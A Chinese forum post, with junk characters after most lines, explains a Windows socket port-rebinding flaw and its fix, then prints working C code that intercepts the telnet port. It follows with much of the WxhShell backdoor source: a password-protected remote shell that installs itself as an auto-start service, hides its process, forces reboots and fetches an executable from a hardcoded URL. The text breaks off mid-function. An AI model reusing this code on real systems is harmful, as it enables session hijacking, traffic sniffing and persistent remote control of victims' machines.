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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #?$'nya*u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZP6 3Alt  
2htA7V*dD  
  saddr.sin_family = AF_INET; Q{l*62Bx  
Z?~d']XD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e:GgA  
Id.Z[owC`Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rxy{a  
|:e|~sism  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H ?`)[#  
+F7<5YW&(  
  这意味着什么?意味着可以进行如下的攻击: 3?*M{Y|  
s*)41\V0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =(|xU?OL  
zOiY0`=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /\-2l+y>J  
=,C9O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3u?`q%Y-e  
y3KcM#[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ra9cD"/J &  
=##s;zj(%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i (%tHa37  
gaw4NZd)0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hLyTUt~\L  
WBw M;S#%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I| W'n-4Y  
:zj9%4A  
  #include 2-$bh  
  #include [j=,g-EOA  
  #include \=w'HZH#+  
  #include    4j=<p@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V{T{0b" \U  
  int main() h"PS-]:CD  
  { S7UZGGjTk  
  WORD wVersionRequested; ib(>vp$V  
  DWORD ret; SvX=isu!.  
  WSADATA wsaData; C?[a3rNH(  
  BOOL val; B|Fl ,55  
  SOCKADDR_IN saddr; uO ?Od  
  SOCKADDR_IN scaddr; T}n}.JwU  
  int err; J+}+ "h~.  
  SOCKET s; {ywXz|TP  
  SOCKET sc; (@KoqwVWc  
  int caddsize; |%'6f}fnE  
  HANDLE mt; "+n4c'  
  DWORD tid;   _}I(U?Q-C  
  wVersionRequested = MAKEWORD( 2, 2 ); J7'f@X~nM  
  err = WSAStartup( wVersionRequested, &wsaData ); Sg.+`xww3  
  if ( err != 0 ) { }x kLD!  
  printf("error!WSAStartup failed!\n"); ?~aZ#%*i8  
  return -1; $Wr\ [P:  
  } tLD~  
  saddr.sin_family = AF_INET; *t#s$Ga  
   poXLy/K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @%EE0)IA  
XOysgX0g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gf68iR.Gs  
  saddr.sin_port = htons(23); WCuzV7tw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E\]OySC%C$  
  {  Y8)E]D  
  printf("error!socket failed!\n"); p~Hvl3SxR  
  return -1; 4AY _#f5u  
  } *<*0".#  
  val = TRUE; & Fg|%,fv]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -,~;qSs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %s$rP  
  { w~kHQ%A  
  printf("error!setsockopt failed!\n"); ioC@n8_[G  
  return -1; ~Na=+}.q_  
  } a -xW8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "t[M'[ `C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 On{~St'V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gohAp  
]ZzoJ7lr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uQGz;F x  
  { AVXX\n\_  
  ret=GetLastError(); `y\*m]:  
  printf("error!bind failed!\n"); ds*m6#1b  
  return -1; O^.%C`*  
  } Xh.+pJl,*  
  listen(s,2); {fog<1c  
  while(1) U/T4i#  
  { PUbaS{J7  
  caddsize = sizeof(scaddr); ''#p47$8<d  
  //接受连接请求 ?mH@`c,fM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ],;D2]<s  
  if(sc!=INVALID_SOCKET) cI*KRC U  
  { )Vwj9WD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S5i+vUI8C  
  if(mt==NULL) n K+lE0  
  { HQq`pG%m6  
  printf("Thread Creat Failed!\n"); t *{,Gk  
  break; 1&"-*)  
  } %ZujCZn  
  } _9D|u<D  
  CloseHandle(mt); #|qm!aGs  
  } z^4KU\/JK  
  closesocket(s); ETU-]R3  
  WSACleanup(); z>4 D~HX  
  return 0; W8f`J2^"M  
  }   BJ~ ivT<  
  DWORD WINAPI ClientThread(LPVOID lpParam) {5T0RL{\N  
  { 9*#$0Y=  
  SOCKET ss = (SOCKET)lpParam; m)s xotgXf  
  SOCKET sc; <"* "1(wN  
  unsigned char buf[4096]; ZhH+D`9  
  SOCKADDR_IN saddr; mfXD1]<.  
  long num; `.{U-U\  
  DWORD val; ; D1FAz  
  DWORD ret; 5a'yXB}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hP?7zz$*j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7^ 4jcfJH  
  saddr.sin_family = AF_INET; g[/^cJHQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O$a#2p&  
  saddr.sin_port = htons(23); }l~]b3@qu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %$Aqbd  
  { t,RyeS/  
  printf("error!socket failed!\n"); sz'p3  
  return -1; |<sf:#YzY&  
  } K!GUv{fp  
  val = 100; Z[Wlyb0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |5W8Q|>%  
  { ,{?wKXJ}L!  
  ret = GetLastError(); H{ZLk,  
  return -1; L >SZgmV+  
  } 5v"Y\k+1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _-n Y2)  
  { 3 h#s([uL  
  ret = GetLastError(); )AOPiC$jL  
  return -1; o6*/o ]]  
  } z1F9$ ^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &]w#z=5SXi  
  { DL,[k (  
  printf("error!socket connect failed!\n"); gWkjUz )  
  closesocket(sc); |V lMma z  
  closesocket(ss); 8=:A/47=J  
  return -1; AWO0NWTB  
  } PC|'yAN:  
  while(1) *2`:VFEV  
  { ^%;"[r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [q'eEN G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v{o? #Sk1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g^jJ8k,7(  
  num = recv(ss,buf,4096,0); ~]&B >q  
  if(num>0) dsV ~|D6:  
  send(sc,buf,num,0); 7R: WX:  
  else if(num==0)  ozU2  
  break; [eyb7\#   
  num = recv(sc,buf,4096,0); V"O 9n[|  
  if(num>0) H.:9:I[n  
  send(ss,buf,num,0); KGu= ;  
  else if(num==0) ,(P %z.P@  
  break; +$PFHXB  
  } Mq@}snp"S  
  closesocket(ss); ?1CJf>B>  
  closesocket(sc); r&SO:#rOSM  
  return 0 ; )!A 2>  
  } >5.zk1&H  
Uj,g]e 8e  
*6XRjq^#  
========================================================== V{0%xz #  
}t\ 10nQ  
下边附上一个代码,,WXhSHELL ?~,JY  
gwiR/(1  
========================================================== vevf[eO-  
4f!dY o4L  
#include "stdafx.h" QWw"K$l  
;u,rtEMy;  
#include <stdio.h> _%%yV  
#include <string.h> FuuS"G,S  
#include <windows.h> %*jGim~s  
#include <winsock2.h> : W~f;k  
#include <winsvc.h> eES'}[W>  
#include <urlmon.h> SiV*WxQe  
7H%_sw5S.  
#pragma comment (lib, "Ws2_32.lib") ]U[&uymax  
#pragma comment (lib, "urlmon.lib") =5ug\S  
@ u+|=x];  
#define MAX_USER   100 // 最大客户端连接数 8b7;\C~$p  
#define BUF_SOCK   200 // sock buffer 9<l-NU9 _  
#define KEY_BUFF   255 // 输入 buffer G?<pBMy  
LJWTSf"f?  
#define REBOOT     0   // 重启 _dr*`yXi  
#define SHUTDOWN   1   // 关机 3za`>bUN  
j7}lF?cJ2  
#define DEF_PORT   5000 // 监听端口 i:d`{kJ|[  
,Aj }]h\L  
#define REG_LEN     16   // 注册表键长度 wu2:'y>n  
#define SVC_LEN     80   // NT服务名长度 #EG?9T  
1i3V!!r  
// 从dll定义API &hI>L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 333u]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  %}h`+L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "y$ qrN-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^wJEfac  
)|RZa|`-G  
// wxhshell配置信息 &DLhb90  
struct WSCFG { ~ M*gsW$  
  int ws_port;         // 监听端口 y"-{$N  
  char ws_passstr[REG_LEN]; // 口令 b =b :  
  int ws_autoins;       // 安装标记, 1=yes 0=no VhvTBo<cw  
  char ws_regname[REG_LEN]; // 注册表键名 @8zT'/$  
  char ws_svcname[REG_LEN]; // 服务名 dF e4K"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o8{<qn|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W`x)=y]Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )[jy[[K(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g/#~N~&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YBvd q1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~KRnr0  
q 5p e~  
}; ,d cg?48  
)b92yP{  
// default Wxhshell configuration Nd!c2`  
struct WSCFG wscfg={DEF_PORT, ;&kn"b}G;  
    "xuhuanlingzhe", iNJAZ6@+  
    1,  hgO?+x  
    "Wxhshell", 6m+W#]^  
    "Wxhshell", [))JX"a  
            "WxhShell Service", _2OuskL  
    "Wrsky Windows CmdShell Service", -!TcQzHUs  
    "Please Input Your Password: ", D0ruTS  
  1, TsD;Kl1  
  "http://www.wrsky.com/wxhshell.exe", v459},!P  
  "Wxhshell.exe" S?4KC^Y5  
    }; OQFi.  8  
a5?A!k\2  
// 消息定义模块 B {aU;{1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W-XpJ\_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ffk4mhH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zMGzReJ  
char *msg_ws_ext="\n\rExit."; >vVw!.fJ  
char *msg_ws_end="\n\rQuit."; XWtiwf'K  
char *msg_ws_boot="\n\rReboot..."; nU17L6'$  
char *msg_ws_poff="\n\rShutdown..."; PN &|8_  
char *msg_ws_down="\n\rSave to "; azX`oU,l  
b_vTGl1_6  
char *msg_ws_err="\n\rErr!"; 3dG4pl~  
char *msg_ws_ok="\n\rOK!"; %[ Zz0|A  
lzDdD3Ouc  
char ExeFile[MAX_PATH]; ]"sRS`0+  
int nUser = 0; v[&'k\  
HANDLE handles[MAX_USER]; ,I`_F,  
int OsIsNt; tD-gc ''H  
_whF^g8  
SERVICE_STATUS       serviceStatus; _~A~+S}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eYEc^nC,c)  
Hku=pr3Gn  
// 函数声明 4RQ5(YTTuR  
int Install(void); `6F +Rrn  
int Uninstall(void); w$>3pQ8d  
int DownloadFile(char *sURL, SOCKET wsh); jBpVxv  
int Boot(int flag); 3cC }'j  
void HideProc(void); 1[DS'S  
int GetOsVer(void); 0S.?E.-&0  
int Wxhshell(SOCKET wsl); "={L+di:M  
void TalkWithClient(void *cs); v!trsjb  
int CmdShell(SOCKET sock); `?uPn~,e8  
int StartFromService(void); +< KNY  
int StartWxhshell(LPSTR lpCmdLine); "}zda*z8  
&fSTR-8ev#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xl2g0?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LgHJo-+>  
2Va4i7"X\  
// 数据结构和表定义 c7qwNs*f  
SERVICE_TABLE_ENTRY DispatchTable[] = [ H,u)8)  
{ !8$RBD %  
{wscfg.ws_svcname, NTServiceMain},  YqU/\f+  
{NULL, NULL} JJ5C}`(  
}; (q~0XE/ a  
;'3]{BGcU  
// 自我安装 $Ha%Gr  
int Install(void) |Q!4GeQL[  
{ p)/ p!d[T/  
  char svExeFile[MAX_PATH]; 'qy#)F  
  HKEY key; 7lU.Ni t  
  strcpy(svExeFile,ExeFile); ow.j+ <M  
oT3Y!Y3=<  
// 如果是win9x系统,修改注册表设为自启动 #C\4/g? =,  
if(!OsIsNt) { Jqru AW<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Z\BfH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]a/'6GbR  
  RegCloseKey(key); GZ8:e3ri  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G9RP^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I KcKRw/O$  
  RegCloseKey(key); F_ljx  
  return 0;  (M`|'o!  
    } Ro r2qDF  
  } LC-)'Z9}5  
} (vQ+e  
else { <v$QM;Ff  
s, XM9h>P4  
// 如果是NT以上系统,安装为系统服务 Y8ehmz|g]J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U8O(;+  
if (schSCManager!=0) G$5m$\K  
{ ]W) jmw'mo  
  SC_HANDLE schService = CreateService " s]y!BLk  
  ( GDPo`# ~  
  schSCManager, HFS+QwHW  
  wscfg.ws_svcname, jvs[ /  
  wscfg.ws_svcdisp, Jps .;yjk  
  SERVICE_ALL_ACCESS, inF6M8 A1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n}J^6:1  
  SERVICE_AUTO_START, SxMj,u%X/  
  SERVICE_ERROR_NORMAL, o6|-=FcvC  
  svExeFile, 0H:dv:#WAI  
  NULL, f=I:DkR  
  NULL, ~O4|KY  
  NULL, ~L4eZ  
  NULL, D;js.ZF  
  NULL Y\?j0X;  
  ); arh@`'Q  
  if (schService!=0)  @E_zR  
  { ^ vbWRG~  
  CloseServiceHandle(schService); 2 F?kjg,  
  CloseServiceHandle(schSCManager); n`L,]dco  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h0VzIuV  
  strcat(svExeFile,wscfg.ws_svcname); uD)-V;}P@;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a$}mWPp+f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W9R`A  
  RegCloseKey(key); o^ h(#%O  
  return 0; _V@P-Ye  
    } #WufZ18#  
  } qY(:8yC36  
  CloseServiceHandle(schSCManager); T9)wj][ .  
} ,7,;twKz  
} 9*}gl3y  
,{{SI  
return 1; dr })-R  
} =B(mIx;m  
fk3kbdI  
// 自我卸载 8/Rm!.8+~  
int Uninstall(void)  c8DZJSO  
{ `ROEV~  
  HKEY key; Dip*}8$o(w  
`WlE| G[  
if(!OsIsNt) { 4}yE+dRUK:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?R6`qe_F  
  RegDeleteValue(key,wscfg.ws_regname); 0BTLcEqgZ  
  RegCloseKey(key); <_:zI r,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (pYYkR"  
  RegDeleteValue(key,wscfg.ws_regname); H(qm>h$bU  
  RegCloseKey(key); :vQM>9l7  
  return 0; 0Nr\2|  
  } kuS/S\Z5K  
} B\_[R'Pf&  
} FH\CK  
else { cY{Nos  
DO^y;y>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >q(6,Mmb  
if (schSCManager!=0) xm^95}80yh  
{ h%1Y6$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +ld;k/  
  if (schService!=0) Hed$ytMaGz  
  { OM!=ViN(=  
  if(DeleteService(schService)!=0) { I; j3*lV_  
  CloseServiceHandle(schService); SrZ50Se  
  CloseServiceHandle(schSCManager); 6?SFNDQ"C  
  return 0; g6euXI  
  } v0 ];W|  
  CloseServiceHandle(schService); oI@ 9}*  
  } 5"=:#zN  
  CloseServiceHandle(schSCManager); E`xU m9F  
} r_2b tpL^  
} Y'N'hRD  
- ]Y wl  
return 1; 6k9LxC:M  
} UqtHxEI%R~  
/`+7_=-  
// 从指定url下载文件 )%mAZk-*;^  
int DownloadFile(char *sURL, SOCKET wsh) 1xTTJyoq  
{ T]71lRY5  
  HRESULT hr; )zJ=PF  
char seps[]= "/"; y8?t-Pp]1  
char *token; M+aEma  
char *file; ~B_ D@gV|  
char myURL[MAX_PATH]; _!:@w9  
char myFILE[MAX_PATH]; Efr&12YSS  
>L[lV_M_>  
strcpy(myURL,sURL); C1QWU5c v  
  token=strtok(myURL,seps); ZvH{wt   
  while(token!=NULL) Kbas-</Si  
  { "DjU:*'  
    file=token; =Ahw%`/&}]  
  token=strtok(NULL,seps); v*r9j8  
  } g rbTcLSF  
cU+>|'f &  
GetCurrentDirectory(MAX_PATH,myFILE); OCW+?B;  
strcat(myFILE, "\\"); Qp!J:YV  
strcat(myFILE, file); o}~3JBn T  
  send(wsh,myFILE,strlen(myFILE),0); yWHne~!  
send(wsh,"...",3,0); *Nlu5(z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O5;-Om  
  if(hr==S_OK) o!Fl]3F  
return 0; H#+xKYrp  
else tpU D0Z)  
return 1; .B$h2#i1  
c]v +  
} l0`'5>  
dS$ji#+d$  
// 系统电源模块 fn1pa@P  
int Boot(int flag) Hsl{rN  
{ HV\"T(8 9  
  HANDLE hToken; jo0Pd_W8&  
  TOKEN_PRIVILEGES tkp; CG9ba |  
3!Bj{;A  
  if(OsIsNt) { xOIg|2^8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BKA]G)G7u!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kfCKhx   
    tkp.PrivilegeCount = 1; EUZq$@uWL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bp%S62Dj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J @B4 R&V  
if(flag==REBOOT) { k4R4YI"jV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4oJ$dN  
  return 0; U**)H_S/~  
} Nza; O[  
else { 0yTQ{'Cc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mV zu~xym  
  return 0; @?/\c:cp  
} DV,DB\P$  
  } Jvj=I82  
  else { GCH[lb>IJv  
if(flag==REBOOT) { UUm |@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XU-*[\K  
  return 0; {!t=n   
} 8IJ-]wHIb  
else { Wp4K6x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *w 21U!  
  return 0; >zR14VO`_|  
} q{@P+2<wF  
} XnA6/^  
8.2`~'V  
return 1; %EoH4LzT  
} s##Ay{  
JUU&Z[6J  
// win9x进程隐藏模块 ;]@exp 5  
void HideProc(void) V{$Sfmey  
{ czS7-Hh@  
fq(5Lfe}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ITc `]K  
  if ( hKernel != NULL ) (H-cDsh;c  
  { {]["6V6W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *(nJX.7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5H!%0LrJg=  
    FreeLibrary(hKernel); WRM$DA  
  } \n(ROf^'  
{Zwf..,  
return; 8KKz5\kn7  
} k_O-5{  
1p=&WM  
// 获取操作系统版本 l0#4Fma  
int GetOsVer(void) $WClpvVj  
{ * gHCy4u{  
  OSVERSIONINFO winfo; MCHOK=G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4cB&Hk  
  GetVersionEx(&winfo); zn^v!:[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O+vcs4  
  return 1; OQc{ V  
  else {? 2;0}3?;  
  return 0; d<v~=  
} 2_N/wR#=&  
w&C1=v -h  
// 客户端句柄模块 #%WCL'6B  
int Wxhshell(SOCKET wsl) [DhEh@  
{ 1t#XQ?8  
  SOCKET wsh; 4y>(RrVG  
  struct sockaddr_in client; !l"tI#?6W%  
  DWORD myID; f?5A"-NS  
TZBVU&,{Z  
  while(nUser<MAX_USER) 0V7 _n  
{ ~4+8p9f  
  int nSize=sizeof(client); NQ{-&#@/v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^(g_.>  
  if(wsh==INVALID_SOCKET) return 1; Z:c*!`F  
dFMAh&:>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |Q6h /"2  
if(handles[nUser]==0) OF-WUa4t  
  closesocket(wsh); 8? F 2jv  
else _eh3qs:  
  nUser++; l_b_-p  
  } |G=FqAX H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j"0rkN3$J  
?cJA^W  
  return 0; ]7l{g9?ZtV  
} l{QC}{Ejc2  
SlN"(nq  
// 关闭 socket ,@479ZvvR3  
void CloseIt(SOCKET wsh) &~}@u[=ux  
{ ,0,Oe=d  
closesocket(wsh); ?#i|>MRR>  
nUser--; jf8w7T  
ExitThread(0); kAt RY4p  
} [!Ao,rt?Vg  
Q2FQhc@L(:  
// 客户端请求句柄 X7b!;%3@  
void TalkWithClient(void *cs) | F8]Xnds  
{ w O89&XZ<  
)tCx5 9  
  SOCKET wsh=(SOCKET)cs; ,A?{~?u.  
  char pwd[SVC_LEN]; @x*.5:[  
  char cmd[KEY_BUFF]; :^5>wDu{  
char chr[1]; b( 1 :w"wD  
int i,j; d96fjj~  
$-e=tWkgv  
  while (nUser < MAX_USER) { YLE/w@*  
Zg2]GJP  
if(wscfg.ws_passstr) { +dJ&tuL:S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ JG #m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <ipWMZae0F  
  //ZeroMemory(pwd,KEY_BUFF); 9LHa&""  
      i=0; d&?F#$>7|  
  while(i<SVC_LEN) { \D ^7Z97  
eq{ [?/  
  // 设置超时 ) u-ns5  
  fd_set FdRead; py=i!vb&Z%  
  struct timeval TimeOut; "5 y<G:$+~  
  FD_ZERO(&FdRead); Zq^^|[)bA  
  FD_SET(wsh,&FdRead); C&e8a9*,(a  
  TimeOut.tv_sec=8; ?o8a_9+  
  TimeOut.tv_usec=0; 3+j^E6@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >ks3WMm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *s~i 2}  
kM,@[V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0+rW;-_(  
  pwd=chr[0]; j+ I*Xw  
  if(chr[0]==0xd || chr[0]==0xa) { =^#0.  
  pwd=0; g(1"GKg3K  
  break; <347 C{q  
  } aI 7Xq3  
  i++; fH; |Rm  
    } t={poQC~  
+<z7ds{Z  
  // 如果是非法用户,关闭 socket fs7~NY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pRb<wt7v  
} }&C dsCM>2  
? S8$5gA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A_aO }oBX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fG3wc l~  
M*v^N]>"G  
while(1) { 7WXiG0  
(&k') ff9K  
  ZeroMemory(cmd,KEY_BUFF); .a5X*M]  
s* @QT8%  
      // 自动支持客户端 telnet标准   ?,!uA)({n  
  j=0; \6U 2-m'  
  while(j<KEY_BUFF) { 1T:)Zv'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?l(nM+[kSL  
  cmd[j]=chr[0]; z"9aAytd  
  if(chr[0]==0xa || chr[0]==0xd) { r.?qEe8VV  
  cmd[j]=0;  GsI[N%  
  break; LMt0'Ml9  
  } rYD']%2  
  j++; 4a#B!xW  
    } aD0Q0C+  
DZ,<Jmg&e*  
  // 下载文件 \ =S3 L<  
  if(strstr(cmd,"http://")) { `d.Gw+Un  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F|9a}(-7  
  if(DownloadFile(cmd,wsh)) e#K rgUG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W31LNysH!;  
  else ^kc>m$HY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6^WiZ^~  
  } iOKr9%9?Z  
  else {  y/z9Ce*>  
b!0'Qidh0  
    switch(cmd[0]) { 'W}~)+zK  
  g9M')8a n  
  // 帮助  b$PT_!d  
  case '?': { C3]\$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,"x23=]  
    break; Pv^(Q ]  
  } <yis  
  // 安装 +Kxe ymwr2  
  case 'i': { &t[z  
    if(Install()) N'htcC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f34_?F<h  
    else 6s> sj7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~W2:NQ>i  
    break; 9yO{JgKA  
    } qn5y D!1  
  // 卸载 [8 {_i?wY  
  case 'r': { U+(Z#b(Q  
    if(Uninstall()) (N)r#"F V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :y4)qF  
    else (7M^-_q]D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @$2`DI{_^  
    break; =ZxW8 DK  
    } VFQq`!*i  
  // 显示 wxhshell 所在路径 p7%0hLW  
  case 'p': { Y:DNu9  
    char svExeFile[MAX_PATH]; .CIbpV?T  
    strcpy(svExeFile,"\n\r"); 3L'en  
      strcat(svExeFile,ExeFile); >lUBt5gU  
        send(wsh,svExeFile,strlen(svExeFile),0); !#}v:~[A  
    break; AsTMY02|  
    } Fr1;)WV  
  // 重启 md1EJ1\14  
  case 'b': { 2tm~QL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `V?x xq\  
    if(Boot(REBOOT)) )->-~E}p9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<`I\Pmv  
    else { p.6$w:eV  
    closesocket(wsh); Y\ #.EVz  
    ExitThread(0); ;u4@iN}p  
    } 2+c>O%L  
    break; M Ak-=?t  
